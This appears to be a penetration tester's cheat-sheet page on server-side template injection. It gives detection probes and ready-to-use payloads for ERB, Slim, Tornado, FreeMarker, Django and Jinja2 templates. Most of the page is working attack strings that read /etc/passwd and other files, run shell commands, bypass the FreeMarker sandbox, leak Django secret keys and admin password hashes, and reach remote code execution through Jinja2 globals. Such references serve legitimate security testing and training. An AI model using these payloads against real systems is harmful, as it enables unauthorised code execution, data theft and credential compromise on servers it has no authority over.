📌SSTI : Server Side Template Injection
Notes
Tools
Detect
Commonly Used Template Engine Syntax
${{<%[%'"}}%\
Plaintext Context
http://vulnerable-website.com/?username=${7*7}
Code Context
http://vulnerable-website.com/?greeting=data.username
http://vulnerable-website.com/?greeting=data.username<tag>
http://vulnerable-website.com/?greeting=data.username}}<tag>
Identify
Invalid Syntax
<%=foobar%>
Ruby Error
(erb):1:in `<main>': undefined local variable or method `foobar' for main:Object (NameError)
from /usr/lib/ruby/2.5.0/erb.rb:876:in `eval'
from /usr/lib/ruby/2.5.0/erb.rb:876:in `result'
from -e:4:in `<main>'
Decision Tree

Template Engine Payloads
Ruby
Ruby - Basic injections
ERB:
<%= 7 * 7 %>
Slim:
#{ 7 * 7 }
Ruby - Retrieve /etc/passwd
<%= File.open('/etc/passwd').read %>
Ruby - List files and directories then read
<%= Dir.entries('/') %>
<%= File.open('/example/arbitrary-file').read %>
Ruby - Code execution
Execute code using SSTI for ERB engine.
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
Execute code using SSTI for Slim engine.
#{ %x|env| }
Tornado Template
Tornado (Python)
{{7*7}} = 49
${7*7} = ${7*7}
{{foobar}} = Error
{{7*'7'}} = 7777777
{% import foobar %} = Error
{% import os %}
{% import os %}
{{os.system('whoami')}}
{{os.system('whoami')}}
FreeMarker Template Injection
FreeMarker (Java)
You can try your payloads at https://try.freemarker.apache.org
{{7*7}} = {{7*7}}
${7*7} = 49
#{7*7} = 49 -- (legacy)
${7*'7'} Nothing
${foobar}
Get FreeMarker Version
${freemarkerVersion}
Freemarker - Code Execution
${“freemarker.template.utility.Execute”?new()(“cat /etc/passwd”)}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
Freemarker - Sandbox bypass
⚠️ only works on Freemarker versions below 2.3.30
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
More information
In FreeMarker section of https://portswigger.net/research/server-side-template-injection
Django Template Injection
Django Templates
Django template language supports 2 rendering engines by default: Django Templates (DT) and Jinja2. Django Templates is much simpler engine. It does not allow calling of passed object functions and impact of SSTI in DT is often less severe than in Jinja2.
Detection
{% csrf_token %} # Causes error with Jinja2
{{ 7*7 }} # Error with Django Templates
ih0vr{{364|add:733}}d121r # Burp Payload -> ih0vr1097d121r
Django Templates for post-exploitation
# Variables
{{ variable }}
{{ variable.attr }}
# Filters
{{ value|length }}
# Tags
{% csrf_token %}
Cross-site scripting
{{ '<script>alert(3)</script>' }}
{{ '<script>alert(3)</script>' | safe }}
Debug information leak
{% debug %}
Leaking app’s Secret Key
{{ messages.storages.0.signer.key }}
Admin Site URL leak
{% include 'admin/base.html' %}
Admin username and password hash leak
{% load log %}{% get_admin_log 10 as log %}{% for e in log %}
{{e.user.get_username}} : {{e.user.password}}{% endfor %}
Jinja2(Python) Template Injection
{{7*7}} = Error
${7*7} = ${7*7}
{{foobar}} Nothing
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
{{settings}}
<div data-gb-custom-block data-tag="debug"></div>
{% debug %}
{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
RCE
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
References
Last updated
Was this helpful?